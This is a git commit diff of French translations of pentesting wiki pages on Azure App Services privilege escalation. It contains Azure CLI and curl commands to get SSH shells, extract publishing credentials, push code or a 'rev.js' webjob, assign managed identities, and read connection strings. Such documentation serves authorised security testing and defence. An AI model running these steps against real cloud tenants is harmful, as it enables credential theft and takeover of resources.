Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-04 03:48:11 +00:00
parent dc0a09a09c
commit 31b6cbf88d
2 changed files with 22 additions and 36 deletions

View File

@@ -12,7 +12,7 @@ Pour plus d'informations sur les services d'application Azure, consultez :
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Ces autorisations permettent d'obtenir un **shell SSH** à l'intérieur d'une application web. Elles permettent également de **déboguer** l'application.
Ces autorisations permettent d'obtenir un **SSH shell** à l'intérieur d'une application web. Elles permettent également de **déboguer** l'application.
- **SSH en une seule commande** :
```bash
@@ -23,7 +23,7 @@ az webapp ssh --name <name> --resource-group <res-group>
```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successfull you will get a message such as:
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
@@ -94,7 +94,7 @@ az webapp deployment list-publishing-profiles --name <app-name> --resource-group
}
]
```
Notez que le **nom d'utilisateur est toujours le même** (sauf dans FTP qui ajoute le nom de l'application au début) mais que le **mot de passe est le même** pour tous.
Notez que le **nom d'utilisateur est toujours le même** (sauf dans FTP qui ajoute le nom de l'application au début) mais le **mot de passe est le même** pour tous.
De plus, l'**URL SCM est `<app-name>.scm.azurewebsites.net`**.
@@ -131,7 +131,7 @@ N'oubliez pas que pour accéder à la plateforme SCM depuis le **web, vous devez
> [!WARNING]
> Notez que chaque utilisateur peut configurer ses propres identifiants en appelant la commande précédente, mais si l'utilisateur n'a pas suffisamment de permissions pour accéder au SCM ou FTP, les identifiants ne fonctionneront pas.
- Si vous voyez que ces identifiants sont **REDACTED**, c'est parce que vous **devez activer l'option d'authentification de base SCM** et pour cela, vous avez besoin de la deuxième permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
- Si vous voyez que ces identifiants sont **REDACTED**, c'est parce que vous **devez activer l'option d'authentification de base SCM** et pour cela, vous avez besoin de la deuxième permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -149,23 +149,23 @@ az rest --method PUT \
"properties": {
"allow": true
}
}
}'
```
### Publier du code en utilisant des identifiants SCM
Il suffit d'avoir des identifiants SCM valides pour **publier du code** sur le service App. Cela peut être fait en utilisant la commande suivante.
Pour cet exemple en python, vous pouvez télécharger le dépôt depuis https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apporter les **modifications** que vous souhaitez et ensuite **le compresser en exécutant : `zip -r app.zip .`**.
Pour cet exemple en python, vous pouvez télécharger le dépôt depuis https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apporter les **modifications** que vous souhaitez, puis **zippez-le en exécutant : `zip -r app.zip .`**.
Ensuite, vous pouvez **publier le code** avec la commande suivante :
Ensuite, vous pouvez **publier le code** dans une application web avec la commande suivante :
```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```
### Microsoft.Web/sites/publish/Action | Identifiants SCM
### Webjobs: Microsoft.Web/sites/publish/Action | Identifiants SCM
La permission Azure mentionnée permet d'effectuer plusieurs actions intéressantes qui peuvent également être réalisées avec les identifiants SCM :
- Lire les journaux des **Webjobs** :
- Lire les journaux **Webjobs** :
```bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
@@ -173,7 +173,7 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>>' -v
--user '<username>:<password>' -v
```
- Lire le code source de **Webjobs** :
```bash
@@ -203,19 +203,19 @@ curl -X PUT \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ces autorisations permettent de **attribuer une identité gérée** au service App, donc si un service App a été précédemment compromis, cela permettra à l'attaquant d'attribuer de nouvelles identités gérées au service App et **d'escalader les privilèges** vers celles-ci.
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Microsoft.Web/sites/config/list/action
Cette permission permet de lister les **connection strings** et les **appsettings** du service App qui peuvent contenir des informations sensibles comme des identifiants de base de données.
Cette permission permet de lister les **connection strings** et les **appsettings** du service App, qui peuvent contenir des informations sensibles telles que des identifiants de base de données.
```bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ces autorisations permettent de **attribuer une identité gérée** au service d'application, donc si un service d'application a été précédemment compromis, cela permettra à l'attaquant d'attribuer de nouvelles identités gérées au service d'application et **d'escalader les privilèges** vers celles-ci.
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Lire les identifiants de tiers configurés
En exécutant la commande suivante, il est possible de **lire les identifiants de tiers** configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d'un autre.

View File

@@ -13,7 +13,7 @@ Chaque application s'exécute dans un bac à sable, mais l'isolation dépend des
- Les niveaux Isolated s'exécutent sur des **VM dédiées sur des réseaux virtuels dédiés**, améliorant l'isolation des applications.
> [!WARNING]
> Notez que **aucune** de ces isolations **ne prévient** d'autres **vulnérabilités web** courantes (comme le téléchargement de fichiers ou les injections). Et si une **identité de gestion** est utilisée, elle pourrait être capable de **faire monter les privilèges**.
> Notez que **aucune** de ces isolations **ne prévient** d'autres **vulnérabilités web** courantes (comme le téléchargement de fichiers ou les injections). Et si une **identité de gestion** est utilisée, elle pourrait être capable de **faire une élévation de privilèges**.
Les applications ont quelques configurations intéressantes :
@@ -75,7 +75,7 @@ Il existe 2 types de web jobs :
- **Continu** : S'exécute indéfiniment dans une boucle et est déclenché dès sa création. Il est idéal pour les tâches nécessitant un traitement constant. Cependant, si l'application cesse de fonctionner parce que Always On est désactivé et qu'elle n'a pas reçu de demande au cours des 20 dernières minutes, le web job s'arrêtera également.
- **Déclenché** : S'exécute à la demande ou selon un calendrier. Il est mieux adapté aux tâches périodiques, telles que les mises à jour de données par lots ou les routines de maintenance.
Les webjobs sont très intéressants du point de vue des attaquants car ils pourraient être utilisés pour **exécuter du code** dans l'environnement et **escalader les privilèges** vers les identités gérées attachées.
Les webjobs sont très intéressants du point de vue des attaquants car ils pourraient être utilisés pour **exécuter du code** dans l'environnement et **élever les privilèges** aux identités gérées attachées.
De plus, il est toujours intéressant de vérifier les **journaux** générés par les Webjobs car ils pourraient contenir des **informations sensibles**.
@@ -156,6 +156,9 @@ az webapp config storage-account list --name <name> --resource-group <res-group>
# Get configured container (if any) in the webapp, it could contain credentials
az webapp config container show --name <name> --resource-group <res-group>
# Get git URL to access the code
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
# Get Webjobs
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
@@ -217,24 +220,7 @@ done
{{#endtab }}
{{#endtabs }}
#### Obtenir des identifiants et accéder au code de l'application web
```bash
# Get connection strings that could contain credentials (with DBs for example)
az webapp config connection-string list --name <name> --resource-group <res-group>
## Check how to use the DBs connection strings in the SQL page
# Get credentials to access the code and DB credentials if configured.
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
# Get git URL to access the code
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
# Access/Modify the code via git
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
## In my case the username was: $nameofthewebapp and the password some random chars
## If you change the code and do a push, the app is automatically redeployed
```
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}